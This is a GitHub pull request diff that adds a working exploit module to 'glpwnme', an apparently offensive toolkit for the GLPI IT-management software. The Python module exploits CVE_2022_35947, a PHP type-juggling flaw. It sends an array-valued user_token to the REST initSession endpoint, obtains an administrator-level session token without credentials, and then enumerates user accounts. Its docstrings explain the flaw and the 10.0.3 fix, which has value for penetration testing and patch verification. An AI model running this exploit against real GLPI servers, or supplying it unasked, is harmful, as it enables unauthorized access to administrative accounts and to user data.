Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion glpwnme/exploits/implementations/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
from .cve_2020_15175 import CVE_2020_15175
from .cve_2022_31061 import CVE_2022_31061
from .cve_2022_35914 import CVE_2022_35914
from .cve_2022_35947 import CVE_2022_35947
from .unserialize_order_plugin import UNSERIALIZE_ORDER_2022

# 2023 CVES
Expand Down Expand Up @@ -35,7 +36,7 @@ def get_all_exploits():
:rtype: List[class:`exploits.exploit.GlpiExploit`]
"""

all_exploits = [CVE_2020_15175, CVE_2022_31061, CVE_2022_35914, UNSERIALIZE_ORDER_2022, CVE_2023_41323, CVE_2023_41326]
all_exploits = [CVE_2020_15175, CVE_2022_31061, CVE_2022_35914, CVE_2022_35947, UNSERIALIZE_ORDER_2022, CVE_2023_41323, CVE_2023_41326]
all_exploits += [PHP_UPLOAD, CVE_2024_27937, CVE_2024_29889, CVE_2024_37148, CVE_2024_37149]
all_exploits += [CVE_2024_40638, CVE_2024_50339, CVE_2025_24799, CVE_2025_32786, CVE_2026_26026]
all_exploits += [DEFAULT_PASSWORD_CHECK]
Expand Down
128 changes: 128 additions & 0 deletions glpwnme/exploits/implementations/cve_2022_35947.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log


class CVE_2022_35947(GlpiExploit):
"""
Authentication bypass in GLPI REST API via PHP type-juggling on user_token
(GLPI 10.0.0-10.0.2).

GLPI's REST API initSession endpoint accepted a user_token GET parameter
and passed it verbatim to User::getFromDBbyToken() without validating that
the value was a string. By supplying user_token as a PHP array via URL
bracket notation (user_token[0]=>= & user_token[1]=), the caller causes
GLPI's ORM (DBmysqlIterator) to treat the array as a comparison criterion,
building:

WHERE api_token >= ''

This matches any user whose api_token is non-empty (typically the first
admin account) and returns a valid session_token without any credentials.

PHP parses user_token[0]=>= & user_token[1]= in the query string as:
$_GET['user_token'] = ['>=', '']
which analyseCriterion (count==2, isOperator('>=')) renders as a range
comparison rather than an equality check.

Fix (GLPI 10.0.3): User::getFromDBbyToken() returns false immediately if
$token is not a string, so the array criterion is rejected.

Note: the REST API App-Token header may be required depending on GLPI
configuration ("Enable login with external token"). The advisory workaround
is to disable that option.

@author unclej4ck
@cvss 9.8
@name CVE_2022_35947
"""
_impacts = "Authentication Bypass, Privilege Escalation"
_privilege = "Unauthenticated"
_is_check_opsec_safe = True
min_version = "10.0.0"
max_version = "10.0.3"
require_api = True

_INIT_SESSION = "/apirest.php/initSession"

# ------------------------------------------------------------------ #
# Bypass primitive #
# ------------------------------------------------------------------ #

def _bypass_auth(self):
"""
Send user_token as a 2-element PHP array: user_token[0]=>= & user_token[1]= .
PHP parses this as ['>=', ''] which DBmysqlIterator::analyseCriterion treats as
an operator pair (count==2, isset($value[0]), isOperator('>=')) producing:
WHERE glpi_users.api_token >= ''
matching any user with a non-empty api_token and returning their session token
with no credentials. (The single-key form user_token[>=]= does NOT work: the
iterator renders it as IN('').) The 10.0.3 is_string() guard rejects the array.
"""
try:
resp = self.get(
self._INIT_SESSION,
params={"user_token[0]": ">=", "user_token[1]": ""},
allow_redirects=False, timeout=15,
)
if resp.status_code == HTTPStatus.OK:
return resp.json().get("session_token")
except Exception:
pass
return None

# ------------------------------------------------------------------ #
# Exploit interface #
# ------------------------------------------------------------------ #

def infos(self):
infos = "[u]Description:[/u]\n"
infos += "Authentication bypass in the GLPI REST API (GLPI 10.0.0 - 10.0.2).\n"
infos += "Supplying [b]user_token[0]=>=[/b] & [b]user_token[1]=[/b] to\n"
infos += "[i]/apirest.php/initSession[/i] causes PHP to pass an array to\n"
infos += "[i]User::getFromDBbyToken()[/i], which the ORM interprets as\n"
infos += "[i]WHERE api_token >= ''[/i], matching the first user (typically admin)\n"
infos += "whose api_token is non-empty.\n"

infos += "\n[u]Usage:[/u]\n"
infos += "[grey66]# Check for vulnerability[/]\n"
infos += "--check\n\n"
infos += "[grey66]# Bypass auth and list users via REST API[/]\n"
infos += "--run\n\n"

infos += "\nExploit is [green b]Safe[/] (read-only auth bypass)"
return infos

def check(self):
Log.log("Attempting user_token type-juggling bypass on /apirest.php/initSession ...")
token = self._bypass_auth()
if token:
Log.msg("Auth bypass successful - session token acquired")
return True
Log.log("Bypass failed - may be patched, no user has an API token, or App-Token required")
return False

def run(self):
Log.log("Exploiting user_token type-juggling to obtain a REST API session ...")
token = self._bypass_auth()
if not token:
Log.err("Auth bypass failed - target may be patched, no user has an API token, or App-Token required")
return

Log.msg(f"Session token: [green b]{token}[/green b]")
Log.log("Querying /apirest.php/User with obtained session ...")
try:
resp = self.get(
"/apirest.php/User",
params={"range": "0-9"},
headers={"Session-Token": token},
allow_redirects=False,
timeout=15,
)
if resp.status_code == HTTPStatus.OK:
for u in resp.json():
Log.msg(f" User: [green b]{u.get('name', '?')}[/green b]")
else:
Log.err(f"User listing returned HTTP {resp.status_code}")
except Exception as e:
Log.err(f"Error querying users: {e}")